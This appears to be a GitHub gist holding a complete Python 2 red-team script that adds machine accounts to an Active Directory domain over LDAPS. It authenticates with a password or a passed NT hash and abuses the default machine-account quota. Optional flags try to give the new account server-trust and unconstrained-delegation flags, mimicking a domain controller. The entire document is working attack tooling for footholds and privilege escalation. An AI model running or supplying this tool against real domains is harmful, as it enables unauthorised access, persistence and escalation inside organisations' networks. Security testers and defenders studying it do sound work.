Skip to content

Instantly share code, notes, and snippets.

@3xocyte
Last active February 21, 2023 03:50
Show Gist options
  • Save 3xocyte/8ad2d227d0906ea5ee294677508620f5 to your computer and use it in GitHub Desktop.
Save 3xocyte/8ad2d227d0906ea5ee294677508620f5 to your computer and use it in GitHub Desktop.
simple script for experimenting with machine account creation
#!/usr/bin/env python
import argparse
import sys
import string
import random
# https://support.microsoft.com/en-au/help/243327/default-limit-to-number-of-workstations-a-user-can-join-to-the-domain
# create machine account utility by @3xocyte
# with thanks to Kevin Robertson for https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
from ldap3 import Server, Connection, ALL, NTLM
def get_base_dn(domain):
base_dn = ''
domain_parts = domain.split('.')
for i in domain_parts:
base_dn += 'DC=%s,' % i
# Remove last ','
base_dn = base_dn[:-1]
return base_dn
def get_machine_name():
machine_name = ''.join(random.choice(string.uppercase + string.digits) for _ in range(6))
return machine_name + '$'
def get_unicode_password(password):
if password == '':
password = ''.join(random.choice(string.letters + string.digits + string.punctuation) for _ in range(20))
encoded_password = '"{}"'.format(password).encode('utf-16-le') # https://github.com/cannatag/ldap3/issues/130#issuecomment-159641516
return password, encoded_password
def ldaps_login(dc_ip, username, password, domain):
print "[*] connecting..."
s = Server(dc_ip, port = 636, use_ssl = True, get_info=ALL)
domain_user = "%s\\%s" % (domain, username)
try:
c = Connection(s, user = domain_user, password = password, authentication=NTLM)
if c.bind() == True:
print "[*] bound successfully"
except Exception, e:
print "[!] unable to connect: %s" % str(e)
sys.exit()
return c
def create_machine_account(ldap_connection, domain, machine_name, encoded_password, useraccountcontrol):
dn = "CN=%s,CN=Computers,%s" % (machine_name[:-1], get_base_dn(domain))
dns_name = machine_name[:-1] + '.' + domain
try:
ldap_connection.add(dn, attributes={
'objectClass':'Computer',
'SamAccountName': machine_name,
'userAccountControl': useraccountcontrol,
'DnsHostName': dns_name,
'ServicePrincipalName': [
'HOST/' + dns_name,
'RestrictedKrbHost/' + dns_name,
'HOST/' + machine_name[:-1],
'RestrictedKrbHost/' + machine_name[:-1]
],
'unicodePwd':encoded_password
})
if ldap_connection.result['description'] == 'success':
print "[*] added machine account: %s" % dns_name
else:
print "[!] failed to add machine account"
ldap_connection.unbind()
except Exception, e:
print "[!] exception raised: %s" % str(e)
ldap_connection.unbind()
sys.exit()
def main():
# parser stuff
parser = argparse.ArgumentParser(add_help = True, description = "small utility to add a machine account to a domain, unprivileged users are limited by ms-DS-MachineAccountQuota (by default up to 10 concurrent machines may exist)")
parser.add_argument('-d', '--domain', action="store", default='', help='valid fully-qualified domain name', required=True)
parser.add_argument('-u', '--username', action="store", default='', help='valid username', required=True)
password_or_ntlm = parser.add_mutually_exclusive_group(required=True)
password_or_ntlm.add_argument('-p', '--password', action="store", default='', help='valid password')
password_or_ntlm.add_argument('-n', '--nthash', action="store", default='', help='valid ntlm hash')
dc_or_server_trust = parser.add_mutually_exclusive_group()
dc_or_server_trust.add_argument('--create-dc', action="store_true", help='set userAccountControl to "SERVER_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION" (privileged)')
dc_or_server_trust.add_argument('--create-server', action="store_true", help='set userAccountControl to "SERVER_TRUST_ACCOUNT" (privileged)')
parser.add_argument('--machine-name', action="store", help='name of computer account to create (default is random)')
parser.add_argument('--machine-pass', action="store", help='password of computer account to create (default is random)')
parser.add_argument('target_dc', help='ip address or hostname of dc')
options = parser.parse_args()
domain = options.domain
username = options.username
password = options.password
nthash = options.nthash
create_dc = options.create_dc
server_trust_account = options.create_server
dc_ip = options.target_dc
print "add a machine account to a domain (@3xocyte)\n"
# requires a dummy LM hash value
if nthash:
password = '00000000000000000000000000000000:%s' % nthash
useraccountcontrol = '4096' # 0x1000 (WORKSTATION_TRUST_ACCOUNT)
if create_dc:
useraccountcontrol = '532480' # 0x82000 (SERVER_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION)
print "[*] attempting to create a domain controller"
if server_trust_account:
useraccountcontrol = '8192' # 0x2000 (SERVER_TRUST_ACCOUNT)
print "[*] attempting to create a domain controller (just with SERVER_TRUST_ACCOUNT property)"
if options.machine_name:
machine_name = options.machine_name
if machine_name[-1:] != "$":
machine_name += "$"
else:
machine_name = get_machine_name()
if options.machine_pass:
machine_password, encoded_password = get_unicode_password(options.machine_pass)
else:
machine_password, encoded_password = get_unicode_password('')
print '[+] creating machine account "%s" with password "%s"' % (machine_name, machine_password)
ldap_connection = ldaps_login(dc_ip, username, password, domain)
create_machine_account(ldap_connection, domain, machine_name, encoded_password, useraccountcontrol)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment